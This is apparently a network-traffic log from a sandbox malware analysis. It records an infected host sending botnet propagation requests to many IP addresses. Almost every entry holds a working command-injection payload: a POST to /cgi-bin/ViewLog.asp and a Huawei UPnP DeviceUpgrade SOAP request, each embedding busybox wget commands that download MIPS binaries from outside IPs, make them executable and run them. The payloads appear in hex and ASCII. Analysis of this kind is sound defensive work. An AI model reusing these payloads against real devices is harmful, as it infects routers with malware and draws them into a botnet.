                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:39.642308950 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                179192.168.2.153982631.33.9.618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.570424080 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                180192.168.2.154869431.136.165.2308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.578983068 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:41.787894964 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:47.931879044 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:59.963414907 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:25.306680918 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:14.457359076 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                181192.168.2.154387694.230.206.1178080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.609574080 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:38.839616060 CET308INHTTP/1.0 200 OK
                                                Server: httpd/2.0
                                                Date: Thu, 23 Nov 2023 04:20:49 GMT
                                                Content-Type: text/html
                                                Connection: close
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 73 63 72 69 70 74 3e 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 2f 4d 61 69 6e 5f 4c 6f 67 69 6e 2e 61 73 70 3f 65 72 72 6f 72 5f 73 74 61 74 75 73 3d 31 26 70 61 67 65 3d 69 6e 64 65 78 2e 61 73 70 26 6c 6f 63 6b 5f 74 69 6d 65 3d 30 27 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 48 45 41 44 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><script>top.location.href='/Main_Login.asp?error_status=1&page=index.asp&lock_time=0';</script></HEAD></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                182192.168.2.154116662.109.20.548080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.612097979 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                183192.168.2.153877694.121.98.2478080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.615057945 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                184192.168.2.155537494.253.103.888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.618696928 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:38.841800928 CET391INHTTP/1.1 405 Not Allowed
                                                Server: Web server
                                                Date: Thu, 23 Nov 2023 04:20:36 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 155
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>Web server</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                185192.168.2.154928894.121.119.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.618949890 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                186192.168.2.155099894.122.61.798080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.619147062 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                187192.168.2.153716631.136.179.338080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.765017033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:39.356020927 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:40.508028030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:42.811849117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:47.419754982 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:56.635562897 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:15.067090034 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:51.929964066 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                188192.168.2.153901062.80.179.618080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:20:38.820791006 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
